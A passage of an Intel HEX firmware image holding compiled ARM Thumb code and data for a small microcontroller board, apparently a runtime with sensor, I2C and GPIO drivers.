:108080000FF081FD26806580182011F009FA02AEFC :10809000050033000AAA03CA03C32F60280008277B :1080A00000213A000C3011F092FA3A003100281DFC :1080B00011F071FA064B02226B6120000023019936 :1080C000A5600A43E360A2802362636205B0F0BD4D :1080D0003188020070B5040086B010300D0001F048 :1080E00091FB0023194AA3622261194AE3631668CF :1080F0006564237323606360A3609E4220D0154AA9 :1081000028200492059311F0CBF9C02305006A469C :10811000029304AB03CB03C22300062102222800F2 :10812000FFF7A4FF336829005B68300098470028F8 :1081300006D0280010F02DFD2821280011F0C9F9E3 :1081400000232000236406B070BDC0460CF8020076 :10815000A82B0020917F010030B500240373012378 :10816000034D84710560818082734373846030BDE8 :1081700030F4020070B583790400DB0703D51821C1 :10818000806811F0A6F9A3799B0703D51821A06890 :1081900011F09FF9A3795B0708D5A0230021164AA7 :1081A000DB00D150A068083111F093F90826A379BB :1081B000334209D0A568002D06D0280010F009FE32 :1081C0003100280011F085F9A379DB0605D5A068F8 :1081D000002802D00368DB6898476023A2791A421E :1081E00005D0A068002802D003685B689847002388 :1081F000A360A37170BDC04600700040F7B50126B2 :10820000037B040033422AD0612385791D4017D1B6 :10821000FFF7B0FF182011F043F90E230700E356D3 :1082200018220093637B2900019311F0D0F9019A81 :108230000099380010F038FFA379A7603343A37189 :108240006023A279A0681A4202D010F00BFEFEBD96 :10825000436940681B681840431E9841F7E701488E :10826000F5E7C04616FCFFFF10B501248379417382 :108270001C4004D0806810F0CBFF002010BD6022AD :10828000134203D0806810F0F4FDF6E70048F5E7EC :1082900016FCFFFF10B5002903DB024B196010F03C :1082A0001BFE10BDB82B002070B504001E0004ABEF :1082B0001D7801F071FA20000E4B40302360FEF76C :1082C000D7FD230001364C33013522001E701D738B :1082D0000023E1214E32A3646365138053809381B0 :1082E000D381013B200063644902FFF7D3FF2000E4 :1082F00070BDC04670EF0200F7B580277F053D696D :108300007C690822113C6C4306002100684611F08C :1083100042F9104B009A9A4219D00093002301931E :10832000796930001339694310F0AFFA019A009966 :10833000300010F0C2FA2100300010F0A6FA79697E :10834000AB08133969432200300010F0A8FA0198F5 :10835000FEBDC046FECA0000F0B50D00ABB00D92E8 :1083600000213022060012A80B9311F030F92800EA :1083700011F081F9431C0C93102B00D9B8E00B9B32 :10838000202B00D9B4E02900300010F0BDFA071E00 :1083900056D129000C9A12A811F0FDF80D990B9AEC :1083A00016A811F0F8F880235B051F695A693000A0 :1083B000113A7A435D690D92FFF79EFF0D9B3022C3 :1083C0000833002104001EA80F9311F000F92900C2 :1083D00013397943300010F058FA0F9B0B930023A8 :1083E0000C930E930C9BA3424ADA0B9930221EA8E1 :1083F00011F0D1F812A91EA811F033F900282ED1DE :108400003D49300022001091119410F056FA6A464E :108410000B9B099315AB23CB23C223CB23C223CBC6 :1084200023C23000149B1299139A10F054FA0123BE :108430000E930B9B30330B930C9B01330C93D1E7C2 :108440000D9910300B9A11F098F830210400380083 :1084500011F03FF8002C9CD120002BB0F0BD6A46F3 :108460000B9B099321AB23CB23C223CB23C223CB6A :1084700023C230001E991F9A209B10F02CFAD8E7D7 :10848000E5433021ED1725404D430F9B5D190E9BB1 :10849000002B1BD1B81E02F0FFF9A0422AD01649CA :1084A0000134300022001091119410F006FA6A464F :1084B000099515AB23CB23C223CB23C223CB23C2E5 :1084C00030001299139A149B10F005FA0D993000A0 :1084D00010F0DBF980235B0559690C2363431339E2 :1084E000023379430D9A300010F0D9F90024B3E734 :1084F000024CB1E7024CAFE7FECA000017FCFFFFD9 :1085000013FCFFFF022802D10122014B1A707047B1 :108510004C2E002070B5064C05002378002B04D1AA :10852000044801F01FF801232370280070BDC046E5 :108530004D2E00200585010070B50C000FF0E5FA06 :10854000002810D00023144DA40A2B70200010F036 :1085500013FA002803D00A2010F053FEF6E72B7818 :10856000002BFCD070BD02210C4B0D4A995080218C :10857000C90008005D58002DFCD0A121C9005C5045 :1085800019580029FCD0002199508021C9005A585F :10859000002AFCD0E6E7C0464C2E002000E0014057 :1085A00004050000F8B50C0015001E000FF0ADFA30 :1085B000002811D00023174F3B7032002900200003 :1085C00010F0D8F9002803D00A2010F01AFEF4E7C2 :1085D0003B78002BFCD0F8BD01210F480F4B84469F :1085E00019508021C9005A58002AFCD08027002247 :1085F000FF00964207DD910068586050D959002964 :10860000FCD00132F5E7002261465A50DA59002ABF :10861000FCD0E0E74C2E00200405000000E0014003 :1086200008B4024B9C46443808BC60477D89020070 :10863000FA21F8B50389C90004005943324810F003 :10864000B8FAFA21890002F027F9304F2081A17A87 :10865000380010F0AEFA23002600250022894C33A2 :10866000A072A0361A808C35317800232A2228681F :1086700010F0BAF8002844D131781F235B22286813 :1086800010F0B2F800283CD1317820235C22286811 :1086900010F0AAF8002834D1317801232C22286860 :1086A00010F0A2F800282CD1317801232D2228685F :1086B00010F09AF8002824D1317801232E2228685E :1086C00010F092F800281CD1A17A380010F06CFA52 :1086D0003178C3B20E22286810F086F8002810D135 :1086E000FA21238989005943074810F05DFA0123D4 :1086F0000343DBB231782A22286810F075F800288D :1087000000D00348F8BDC046E0F40200D8F40200EF :108710000EFCFFFF08B4024B9C46443808BC60477F :1087200031860100074B10B51A00040008323C33B3 :108730000260436444300FF095FB20000FF0AAFA6A :10874000200010BD40F5020008B4024B9C4644389E :1087500008BC60472587010008B4024B9C4644389A :1087600008BC604787890200F0B50425837989B089 :1087700004002B4204D100F0C9FBA3791D43A5716D :1087800020009030FFF73AFD0025A8420FD12300CA :10879000A033197820000C2305AE00938C303300F1 :1087A00001220068FFF7A6FB051E03D0204D28001C :1087B00009B0F0BDB1883088CABA0A219446F2885F :1087C0007388D2BA02923789728902AE89191F263C :1087D00052BA0A80A17ADBBA5B424B4312B2C0BAEA :1087E00003924843DA173240D3185B11A361C317D1 :1087F0003340181863464B43D9173140C9186423D6 :10880000029A49115B42FFBA21625F430399C83360 :108810005A434B43E2674011221DE061A7672000E5 :10882000D3670FF0B1FA200044300FF023FBBEE70E :108830000EFCFFFF08B4024B9C46443808BC60475E :1088400069870100F7B51E00040008AB1B881500FE :10885000019309AB00911A8831000AAB1F88FEF71B :1088600065FB20003A0031004430FEF779FD134BE0 :1088700020001A003C336364230008322260009A0F :108880008C331A60AB8890308380AB79AA6883718F :108890000B4BA98903600E23EB56826022009C32A9 :1088A000118083732300019AA0331A800321FFF7FC :1088B000DBFC2000FFF7BCFE2000FEBD40F50200FF :1088C00030F40200F8B5FA260189B60004007143BD :1088D000254810F06EF9310001F0DEFF234F2081B2 :1088E000A17A380010F065F92500A0725835297872 :1088F00000232A22606C0FF077FF002832D12978FC :1089000010232B22606C0FF06FFF00282AD12978EA :1089100001232D22606C0FF067FF002822D12978F7 :1089200001232E22606C0FF05FFF00281AD1A17A7C :10893000380010F039F92978C3B20E22606C0FF0BC :1089400053FF00280ED121890748714310F02CF9FC :1089500001230343DBB229782A22606C0FF044FF25 :10896000002800D00248F8BDA8F50200A0F50200DA :108970000EFCFFFF10B50400034B083303600FF03B :1089800089F9200010BDC04608F602007FB5042515 :10899000837904002B4204D100F0B8FAA3791D4377 :1089A000A57120004830FFF729FC0025A8420DD111 :1089B000230058331978062302AE009301223300B6 :1089C000606CFFF797FA051E03D00D4D280004B028 :1089D00070BD022200210420B256A37A305671568F :1089E000D20052425A4359434343DB002362236877 :1089F000C900A261E1619B6A20009847E6E7C04692 :108A00000EFCFFFFF8B50400150006AA168807AA99 :108A10000F0012881900FEF789FA0F4B67640833BC :108A200023602300AA8848339A80AA79A9689A719A :108A30000A4AA889A2640E22AA562165210054314F :108A400008809A730023A371230058331E802000EE :108A5000FFF738FF2000F8BD08F6020030F40200EE :108A600010B50400034B083303600FF0FBF920003E :108A700010BDC0469CF60200F0B507005C3787B019 :108A80000400397800231022806C0FF0ADFE00281E :108A90003BD103260F2502ABED18012339780822BC :108AA0000093A06C2B00FFF725FA194B98422CD0AD :108AB0002B78334203D0642000F0B6FAEAE7FA26B6 :108AC0002189144DB6007143280010F072F831006E :108AD00001F0E2FE20813978A0231122A06C0FF072 :108AE00083FE002811D1A36C2189039371432800D0 :108AF0003F7810F059F801231843C3B2102239000F :108B000003980FF071FE002800D0014807B0F0BDB7 :108B10000EFCFFFF3CF6020070B50825837986B095 :108B200004002B4204D100F0F1F9A3791D43A57193 :108B300020004C30FFF762FB051E0DD023005C3394 :108B40001978062304AE009301223300A06CFFF7CE :108B5000D1F9051E03D00E4D280006B070BD642368 :108B6000642132884942D2BA53437288A363D2BA8D :108B70004A4362630E22B3886A445BBA13801BB215 :108B80004B43E363236820001B6A9847E4E7C04631 :108B90000EFCFFFFF8B50400150006AA168807AA08 :108BA0000F0012881900FEF7DBFB0D4BA76408339A :108BB00023602300AA884C339A80AA79A9689A7105 :108BC000084AA889E2640E22AA566165210058313C :108BD00008801E829A732000FFF74EFF2000F8BD28 :108BE0009CF6020030F40200F7B5FA250189204F07 :108BF000AD000400694338000FF0DBFF290001F0ED :108C00004BFEA17A20811B480FF0D3FF2600636C36 :108C1000A072009321895836337869433800019354 :108C20000FF0C2FF07230343DBB220220199009813 :108C30000FF0DAFD002818D1317810232222606C61 :108C40000FF0D2FD002810D1A17A0A48656C377860 :108C50000FF0AAFF80235B420343DBB223223900DB :108C600028000FF0C1FD002800D00348FEBDC0461B :108C7000D0F60200C8F602000EFCFFFF10B504009B :108C8000034B083303600FF005F8200010BDC04609 :108C900040F70200F0B50425837985B004002B422B :108CA00004D100F033F9A3791D43A57120004830A9 :108CB000FFF7A4FA061E0DD02300583319780623B7 :108CC00002AD0093A8222B00606CFFF713F9061E7B :108CD00003D0144E300005B0F0BD1F200023EA5E23 :108CE000D31703409B180222A95E5B11CA170240EA :108CF000521804216F5E5211F9170140C919491128 :108D00002B806A80A980A07A5B424343524242434F :108D10004143E3612368A26121629B6A2000984776 :108D2000D8E7C0460EFCFFFFF8B50400150006AA00 :108D3000168807AA0F0012881900FEF7F7F80F4BE4 :108D40006764083323602300AA8848339A80AA798D :108D5000A9689A710A4AA889A2640E22AA562165B6 :108D60002100543108809A730023A37123005833E3 :108D70001E802000FFF738FF2000F8BD40F70200FA :108D800030F40200F7B5FA2504000189134EAD0056 :108D9000694330000FF00DFF290001F07DFD270031 :108DA000A36C208100935C373B7881B2694330002B :108DB00001930FF0F9FE6022C3B2019900980FF001 :108DC00013FD002807D1397801236222A06C0FF02F :108DD0000BFD002800D00248FEBDC04674F702001B :108DE0000EFCFFFF10B50400034B083303600FF0C7 :108DF00039F8200010BDC0469CF702007FB5082559 :108E0000837904002B4204D100F080F8A3791D433C :108E1000A57120004C30FFF7F1F9051E0DD023009D :108E20005C331978062302AE0093E8223300A06C6D :108E3000FFF760F8051E03D00B4D280004B070BD8D :108E40000223F25E96235B425A4362630021725E04 :108E500020005343A3630423F25E96235343E3634A :108E600023681B6A9847E8E70EFCFFFFF8B504008B :108E7000150006AA168807AA0F0012881900FEF727 :108E80006FFA0D4BA764083323602300AA884C3384 :108E90009A80AA79A9689A71084AA889E2640E2280 :108EA000AA5661652100583108801E829A732000FD :108EB000FFF768FF2000F8BD9CF7020030F40200C5 :108EC00010B572B60B4B1C68002C08D020000FF0B8 :108ED000DFFD0023E364084B2000E36310BD62B6AE :108EE0005C2010F0DDFA5C220021040010F06FFB22 :108EF000EFE7C046E02B002000400020024B18782E :108F0000012318407047C0464E2E0020002310B5A4 :108F100004499C006258002A01D00133F9E76050EF :108F2000100010BDC42B002010B50024084BA20077 :108F3000D058002802D003685B6898470134062C9B :108F4000F4D1044B1B68002B00D120BF10BDC046DC :108F5000C42B0020DC2B0020F8B5FFF7CFFF002842 :108F60001CD02B4D2C68E36CDA0718D502273B4345 :108F7000E364284B1E680423F26C30001343F3644F :108F8000636BF3630FF09BFD3000716C00F099FA96 :108F90002868C36C3B4201D000F0CDFAF8BD1E4FEB :108FA0001E4E3A683068002A0AD128601B0712D585 :108FB0002C60FFF7B9FF3B68002BFAD02B600AE06A :108FC000216DB94219D1616D002900D111002960CC :108FD0002A688242EAD029688C42DFD033689942FD :108FE0000DD10F4B4B630F4B8B6320000FF067FDD0 :108FF0002968626C4B6C200006E02A60E8E79C421E :10900000F3D1002210004B6C00F01AFAC6E7C046FC :10901000E82B0020C02B0020DC2B0020E42B0020BC :10902000FC3F0020F18A020070B50500FFF766FFE3 :10903000002803D1280010F0E4F870BD0C4B1C6828 :10904000E36CDB0706D5FFF73BFF0A4B18600028EF :1090500000D00400FDF7B8FE2D18A56420000FF025 :1090600017FD054920000FF001FDFFF775FFE4E74C :10907000E82B0020C02B0020BC2B002070B5114E27 :109080003278022A1AD081421AD90C1A072C17D921 :109090000D00032305432B4012D172B60A4DD200B6 :1090A0005051AA1851608022A4081206144304608B :1090B00032780132327062B6180070BD0348FCE7A6 :1090C0000348FAE7502E0020EC2B002013FCFFFF92 :1090D00017FCFFFF70B5134C06002378124D002BD0 :1090E0000CD1124912482B70FFF7C8FF114B984260 :1090F00002D11E20FDF7D6FC0123237000242B781B :10910000A34209DD0C49E300C91830000FF0F6FC5A :10911000002805D10134F2E71420FDF7C3FC00203C :1091200070BDC0464F2E0020502E00200038002079 :10913000F82F002017FCFFFFEC2B002010B50028B3 :1091400017D000220F4B19780F4B914215DD1C6888 :1091500084420FD25C6884420CD9041F2368002B20 :1091600002DC1E20FDF79EFC802322681B061343B1 :10917000236010BD01320833E7E71E20FDF792FCA3 :10918000F7E7C046502E0020EC2B00200268084B69 :10919000406810B5C018C000101803009A4205D8E6 :1091A0001C688C4202D31800083BF7E710BDC0468C :1091B000FFFFFF1F014B03607047C046C8F7020066 :1091C00030B500684488A1420CDA8588AA4209DAE1 :1091D000002907DB002A05DB54434018001983717E :1091E000002030BD0048FCE717FCFFFFF0B507008A :1091F00085B00E001D00002921DD002A1FDD002B97 :109200001DD00468638803938B4200DD0391A3881B :109210000293934200DD0292002306340193019BE6 :10922000029A93420ED029002000039A10F0B3F95D :109230003B68AD195B88E418019B0133EEE70248F7 :1092400005B0F0BD0020FBE717FCFFFFF8B50400F8 :109250000D0016001F00002901DB002A02DA0E4B68 :109260002360F8BD100048430630FFF733FF20604D :109270000EF0CEFC23685D8023689E80002F06D010 :109280003B00320029002000FFF7B0FFE9E7200093 :109290000FF0FFFCE5E7C046C8F70200F7B506008F :1092A0000D1E03D1234B03603000FEBD00200F00D4 :1092B0000400010001903B78002B1AD0302252426A :1092C00094469C446246092A11D90A2B0AD1019B73 :1092D000241801330193A14200DA21000020040088 :1092E0000137E8E70028FBD001340020F8E701202F :1092F000F6E7019A300012B209B2FFF7A7FF336810 :109300000A249A1D01235B42180029780029CBD03A :109310000F00303F092F07D85F1C00D100236343A3 :109320005B18303B0135F0E7591CFBD0137001325C :109330000300F7E7C8F70200F0B5040087B004A8FF :1093400015001E000F00FDF7A5FC23685A88954202 :1093500035DA9B889E4232DA1F2F30D9059B019364 :109360009F422CDC0521203F4F430499721DCB19ED :109370000193330003920020019A1278029222682E :109380002F185688BE420DDD91888B420ADAD21919 :10939000102707415E43029992190F407E1EB74184 :1093A0007F42977101300528E9D1019A01330132DA :1093B0000192039A9342DED1002007B0F0BD01482C :1093C000FBE7C04617FCFFFFF7B5036807009D1DCC :1093D0005B880E005A1A0192002919DD0024994277 :1093E00003DB0FF056FC002013E03B689B889C4297 :1093F000F9DAA919019A280010F0CDF8019B310083 :10940000E8180FF038FC3B6801345B88ED18ECE796 :109410000048FEBD17FCFFFF10B50548054C206055 :109420000EF0F9FB044A0549200010F04BF810BD7E :10943000C8F70200FC2B002000000020698C02000D :10944000002815D0006041608260C36004614561FE :109450008661C761444604624C4644625446846255 :109460005C46C462644604636E4646637446846325 :10947000002A06D0C46B043C043A25681560B44247 :10948000F9D18C6BA6464E6BB546002B06D0CC6B43 :10949000043C043B1D682560B442F9D10C6BA44622 :1094A000CC6AA3468C6AA2464C6AA1460C6AA046C6 :1094B000CF698E694D690C69CB688A68086849680C :1094C0007047006041608260C360046145618661ED :1094D000C761444604624C464462544684625C461A :1094E000C462644604636E46466374468463C46B18 :1094F000043C043925680D60B442F9D1C769866916 :10950000456904697047006041608260C36004611E :1095100045618661C761444604624C4644625446D4 :1095200084625C46C462644604636C464463744669 :10953000846304697047846BA646446BA546046B3C :10954000A446C46AA346846AA246446AA146046A41 :10955000A046C769866945690469C368826800686E :1095600041687047014B18607047C046002C0020CE :1095700080B2002807D1BFF34F8F034B034ADA6054 :10958000BFF34F8FFEE7704700ED00E00400FA05DF :109590000120054B10B51A7850401870034B1B681A :1095A000002B00D0984710BD512E0020042C002025 :1095B000F0B5224B85B01D78EDB2002D3CD0204E89 :1095C000204F33685C425C413A68E4B2002A2DD0F7 :1095D00003A80FF004FC05282CD000281AD0002284 :1095E0001100FFF7C5FF002CF2D1174B03A91B8810 :1095F0000B80164B1B68180001930FF0F2FB052837 :1096000010D000280AD000221100FFF7B1FF002C73 :10961000EBD1DDE703983B689847E4E701983368AE :109620009847F4E7002C07D12C00D1E7002B03D09A :109630002C00DAE7002CFBD005B0F0BD522E002044 :10964000082C0020102C0020CC2D0020142C0020F1 :10965000074B10B51B68002B07D09847002803D094 :1096600000221100FFF784FF10BDFFF7A1FFFBE709 :109670000C2C002002210C4B0C4A30B59950802153 :10968000C9000C005D58002DFCD0A121C900585024 :1096900019590029FCD0002199508021C9005A583D :1096A000002AFCD030BDC04600E0014004050000A7 :1096B000032370B5040098409C4315331840E733EA :1096C00083408140012022689A438918074B084A49 :1096D00098508020C00005001E58002EFCD021604C :1096E00059590029FCD00021995070BD00E001407B :1096F0000405000070B5012580260D4B0D4CF600C9 :109700001D519D59002DFCD0802592001218ED00AE :10971000091A904205D100221A515A59002AFCD048 :1097200070BD0E5806605E59002EFCD00430F0E784 :1097300000E001400405000070B504000D001600B3 :10974000002110220FF043FF054B32002361290056 :10975000200000F011FB034B20001C6070BDC046D0 :10976000A0860100182C002010B50400016100F053 :10977000BDFA014B1C6010BD182C002070B5054DC2 :1097800004002B68834203D0016900F0AFFA2C601B :1097900070BDC046182C002010B5040000F006F87B :1097A000014B2000236010BDD8F702000C4B70B5B0 :1097B0000360002343608360C3600362436283638A :1097C000962304009B01051DC363280000F010FCD4 :1097D00028002200034900F0A7FC200070BDC0460D :1097E000E8F702009F8E020010B50400044B0360EE :1097F0000FF0B6FB200000F01BF8200010BDC046A3 :10980000F8F70200084B10B50833036000234360EB :109810008360C360040000F0B3F8044920610FF0D6 :109820007DFC200010BDC04618F802002790020001 :1098300010B50400034B083303600FF001FC200057 :1098400010BDC04618F80200054B10B51B68002B70 :1098500004D119221821034800F0CAFB10BDC046EC :10986000B42D0020DC2F0020030010B50020022BB7 :109870000ADD0021064A033B9B0098589950884214 :1098800003D003685B68984710BD01204042FBE7A6 :109890001C2C002070B50C001500022810DC0F4BAA :1098A0001B68002B01D1FFF7CFFF6619B44205D02A :1098B00021780B4800F08AFC0134F7E7280070BDDE :1098C0000338084B8000C058002803D003681B6889 :1098D0009847F4E701204042F1E7C046B42D00204C :1098E000DC2F00201C2C002010B50C0002280BDC03 :1098F0000C4B1B68002B01D1FFF7A6FF0A480FF0A5 :1099000062FD2070012010BD0338084B8000C05854 :10991000002803D003689B689847F4E70120404281 :10992000F1E7C046B42D0020DC2F00201C2C0020C5 :10993000030010B50120022B08DD033B054A9B0004 :109940009858002803D00368DB68984710BD0120B1 :109950004042FBE71C2C0020030010B50020022B26 :1099600008DD033B05489B001858002803D0036816 :109970001B69984710BD01204042FBE71C2C0020CA :10998000004870472CF8020010B502480FF0CFFBDA :1099900010BDC0462CF802000848026803210A43A3 :1099A00002600749074A084B9B1A03DD043BC8586D :1099B000D050FBDC0548804705480047240500409F :1099C000D89003000000002018010020A5A7010086 :1099D00009010000FEE7FEE7FEE7FEE7FEE7FEE71F :1099E00070B50E000E4C05002100300000F0CAFEDC :1099F00028600023E3565A1C01D1002302E0B34241 :109A00000CD1A368A02201200649D2002B718850F6 :109A10006A221B021343044A8B5070BD0C34E8E7E2 :109A200048F8020000700040040500000B4B0C4990 :109A300010B55A580B4C22405A5002795C58120209 :109A400022435A5080200122C0001A601958114246 :109A5000FCD1A122D200985880B210BD0070004005 :109A600004050000FF00FFFF01704B1C0AD001231A :109A70008B404360044BC360044B0361044B436160 :109A8000044B83607047C046080500500C05005029 :109A90001005005014050050F7B5A223A022DB00EA :109AA000D205D358BE220193314B52009958002958 :109AB0003FD0C1218900595800293ADA0024E02515 :109AC000C0269C50ED00B6022A4BA700F85800288B :109AD0002CD0294BE35C002B17D0019B0121E340E4 :109AE0000B4227D02300A022C133FF339B00D205B5 :109AF0009B589B039B0F032B1CD0204B1B68E34000 :109B00000B4217D01E4B1B689847A023DB05FF189C :109B10007A5932420AD07A591A490A407A51019A3E :109B2000E240D3071FD57A5932437A5101341F2CB2 :109B3000CAD1F7BD019B0122E3401342E5D12300C6 :109B4000A021C133FF339B00C9055B589B039B0FCA :109B5000032BDAD10C4B1B68E3401342D5D0084BE2 :109B600002211B68D0E78022795992020A43DCE780 :109B700000600040242D0020532E0020A82D00203E :109B8000A02D0020FFFFFCFFA42D002030B5040015 :109B900008004D1C1CD00F4821600260BE2200202E :109BA0000D4C5200A0500D4A8D00AB5001220C4BC1 :109BB0005A54C122802392001B06A350094B0A4C21 :109BC00099580C40C02109042143995040221A6041 :109BD00030BDC046A02D002000600040242D002094 :109BE000532E002000E100E0FFFF00FF9446A0227A :109BF000F0B50468E020D205A300C0009B181A58F5 :109C00001E4D1F4E2A401A5060461E4D32682F6866 :109C1000002822D0012919D1A140114331603168B7 :109C20002A6801200A43E24002420ED0A021A2226B :109C3000C905D2008958F132E140FF32014219D002 :109C4000C0219858890201439950F0BD0229E6D1FC :109C50000120A04038432860E1E7012903D1A14059 :109C60008A433260DBE70229D9D10120A040874333 :109C70002F60D4E798588021E4E7C046FFFFFCFF3F :109C8000A82D0020A42D00200368074A9950074AF8 :109C9000FC33196A002902D0002018627047013A8B :109CA000002AF6D10120F9E71C050000A186010079 :109CB00010B50368002A03D0802202209200985039 :109CC00001221C001A62084AFC34E068002806D011 :109CD0000020A322E060D2009B580B7010BD013A17 :109CE000002AF2D10120F9E7A186010010B50B4C42 :109CF00002680B4BA14205DC0A498160CC21490472 :109D0000D15010BD084CA14204DC0849816080217B :109D1000C904F5E706498160CD21F9E78FD003003A :109D200024050000A08601007F1A060090D00300E1 :109D3000801A060070B504001000A025C026C130AE :109D4000FF30F600ED05800046510800C130FF30BD :109D500080004651A1252068ED004251054A8150FE :109D600019002000FFF7C2FFA02305212268DB00B5 :109D7000D15070BD0C050000F8B50E0015000400B0 :109D800000F0FAFB264AF1B21378DBB2012B1DD1A9 :109D9000507888421AD19778E8B2874216D1637317 :109DA000204B19000022FC312360657126718A6204 :109DB000A021C9005A501C4920005A5001325A5063 :109DC0002A003100194BFFF7B5FFF8BD184BE8B278 :109DD0001F78012F09D15F788F4206D19F78874283 :109DE00003D102236373134BDBE71778002F04D1F1 :109DF0000123137051709070D1E71A78002A04D1B2 :109E000001321A7059709870EBE70B480FF01EF989 :109E10000023FC222360657126719362FFDEC04639 :109E2000722E002000300040FC0F0000A0860100D0 :109E3000762E002000400040289003000368002296 :109E40001900FC3110B58A62A021C9005A50064998 :109E50005A5001325A5005220421825641568368D5 :109E6000FFF768FF10BDC046FC0F0000036800212B :109E70001A00FC3210B5916001315961074B9168AD :109E8000002905D000240473FFF7D8FF200010BD7F :109E9000013B002BF3D10120F9E7C046A186010068 :109EA000036810B51900FC318A6A0020012A08D124 :109EB000044C1C5988625A610238A40701D401205D :109EC000404210BDC40400000261064A10B5426061 :109ED000054A01738260054A190002600FF040FADA :109EE00010BDC0460405005010050050000700508A :109EF0000023134A30B5D35683421DD00123D356D5 :109F000083421BD00223D356834214D1022319006B :109F100045310C480C4CFF3189000C5001210D00DB :109F20005C00601C8540A140A120084C2943C00072 :109F30002150FF21D15430BD0023E8E70123E6E79B :109F4000EC00002000600040031F020000F0014010 :109F5000A820012110B5124A124B1488C000596084 :109F60001C50548810481C509088A922D200985048 :109F7000802208209200985080200932FF3200038E :109F800098500A4A1078A222D2009850084A1088A5 :109F9000084A985000221960FC331A6510BDC0466B :109FA000D200002000A0004044050000EF00002087 :109FB000D00000204C050000012310B50A4ADC0047 :109FC00014598C4207DD013BDB00D3185A68016845 :109FD000064BCA5010BD0133112BF0D1802102680D :109FE000024B4905D150F5E79CF80200240500001A :109FF000F8B50F0016000122244BBA400360A023DD :10A00000234CDB05195905000A431A5180221959BE :10A0100012060A430121B1401A511A598A43962166 :10A020001A511A598901520052081A51FFF7C4FFF8 :10A03000002204202B6817495A506C3958500121CE :10A04000996019601900FC31CA6013495A506A605E :10A0500014391F325A5011495F5009185A501E5175 :10A060007B1C03D0032138000FF058F9731C03D078 :10A07000032130000FF052F90122094B29001A6028 :10A08000084807320FF087FAF8BDC04600200040AC :10A09000140500006C0500001C0500000C05000004 :10A0A000B42D0020DC2F0020962310B5DB00994250 :10A0B00002DDFFF781FF10BD9E210268014BC9023E :10A0C000D150F8E7240500000168034B002A01D1B4 :10A0D000CA5070470E22FBE76C050000C1230E4AF0 :10A0E0009B00D15810B5090603D50C49096A00290F :10A0F00008D1D3585B0704D5084B0021DB68002B3F :10A1000001D110BD0121064B18680028F9D0054B7C :10A110001B689847F5E7C04600200040FC2000403F :10A12000B02D0020AC2D0020034B1960436803497B :10A130009B005A507047C046AC2D0020B02D002027 :10A1400000681F4B30B5C3185C4263415B00002AB6 :10A150001CD0002911D0012914D0FF20C024DD001B :10A16000A8401849A4000A598243C020A8400243CD :10A170000A5101229A400A6030BDC1220421920096 :10A180008150EAE7C12280219200F9E7002908D036 :10A190000129F1D1C2228024920084508258920871 :10A1A00006E0C22204219200815082580339D2096C :10A1B0009143E1D001229A401300034AD367DBE7C1 :10A1C00000E0FFBF00E100E004E100E003681A00E6 :10A1D000FC32106A0128FCD100201062014AC9B289 :10A1E000995070471C05000070B51D00A0230400A5 :10A1F0001600DB00002D15D000224068C25008294F :10A2000002D00E480EF022FF032E0ED80C4B9B5DA1 :10A21000A0220C48D200002D0CD061680B50022304 :10A220008B5070BD0268D550E9E707480EF00EFF6D :10A230000023EDE721680B500123F1E73D90030077 :10A24000399003005405000056900300036810B5D0 :10A250005A1C0DD0A0220020164CD200985010009D :10A26000154AA14205DC80218904995001221A5027 :10A2700010BD124CA14202DC8021C904F5E7104C4C :10A28000A14202DC80210905EFE70E4CA14202DC6D :10A2900080214905E9E70C4CA14202DC80218905B7 :10A2A000E3E70A4CA14202DC8021C905DDE78021F9 :10A2B0000906DAE78FD00300240500001FA107007C :10A2C0003F420F007F841E00FF083D00FF117A000F :10A2D000F7B5009308AB1B7805005BB20F001600C2 :10A2E0000193013357D1614B1A78022A3ED1597834 :10A2F000FAB291423AD19978F2B2914236D1DA78F3 :10A300006B461B789A4231D10123594C03720123C9 :10A31000002201205B426B603900564B2C60E250FA :10A32000E050A023C131FF31DB058900C8505249FC :10A3300067500099C131FF318900C850A1210098B0 :10A34000C90060503100C131FF318900CA50A223D9 :10A35000DB00E650FC3408212800E2601300FFF720 :10A3600043FF46492800FFF771FFF7BD444A1378C1 :10A37000DBB2022B0FD15078F9B288420BD1907822 :10A38000F1B2884207D1D1786A461278914202D15F :10A390002B723C4CBBE73A4B1A78002A50D1023260 :10A3A000F9B21A705970F1B2997069460978354C52 :10A3B000D9702A72019B0133A9D0012300222D49B3 :10A3C0005B4238002B6002336C6062506350A02106 :10A3D000C130FF30C905800042503000C130FF302D :10A3E000800042500098C130FF30800042500198F8 :10A3F000C130FF3080004250A221C90067501E4981 :10A40000009866500439605001981F49605021003F :10A41000FC318A60CA62A721C900635010316350C1 :10A420001A481B4960501B481B496050802104207A :10A4300089006050F939FF392800FFF7D5FE94E70D :10A440000A4B1A78002A0CD102321A70FAB25A70EA :10A45000F2B29A706A461278054CDA7001232B72B8 :10A46000A8E70E480EF0F2FDA4E7C046722E0020C9 :10A4700000300040FC0F00000C05000040420F00BF :10A48000762E002000400040140500007B2E0020A6 :10A49000440500007A2E0020340500006790030078 :10A4A00003681A00FC32D0680028FCD10548195016 :10A4B000D1680129FCD10021D160A322D200985893 :10A4C0007047C0461C050000A023F0B5274FDB00F5 :10A4D000FA5885B001920022A024FA50E023244AC1 :10A4E000E405DB00E658E2507833E158012502919B :10A4F000E250A1238022DB00D205E2500420E55087 :10A500000EF075FFA222D200A35803979B0F2B4297 :10A5100027D0A3582B4224D00120A023E022029967 :10A52000DB05D2009E5078329950A023039A0199FE :10A53000DB00D15005B0F0BD0E4B0420EF500EF003 :10A5400056FFA123DB00EF5004200EF050FFA223A2 :10A55000DB00EB585B00DFD4013C002CECD1200089 :10A56000DBE7A0251324ED050127F5E700400040B7 :10A570000D0600000C050000A023E021134ADB05B6 :10A58000C90010B55A5078315A50114B00221900A9 :10A59000FC31CA600A62A1211E20C9005A500D4A2E :10A5A0000D4C9850CC200D4A40049850A2200C4AE3 :10A5B000C00014500B480C4C145001205050A022E5 :10A5C0000521D2009950FFF77FFF10BD0C06000057 :10A5D000004000400C050000384100402405000008 :10A5E00000F00140140500001C400040012310B59C :10A5F0000D4C0E49A36480239B00CB670C490D4A88 :10A60000086D002804D00020086511680131116030 :10A6100009490B60A923DB001068E358010C9BB2C9 :10A620000004184310BDC0460090004004E100E063 :10A63000FC900040B82D002000E100E0F8B50F4C80 :10A64000636C002B0FD000270D4E67643378BB423C :10A6500009D00C4B1D68FFF7C9FF2D1ABD4202DC63 :10A660003770FFF791F9236D002B05D0064A136868 :10A670000133136000232365F8BDC046FC90004001 :10A680007C2E0020BC2D0020B82D002070B51B4D65 :10A690002878002831D10121194B1A4A596050609D :10A6A0008020C005016051680029FCD000221649B5 :10A6B000A2205A5004240121C000D9601C5008383F 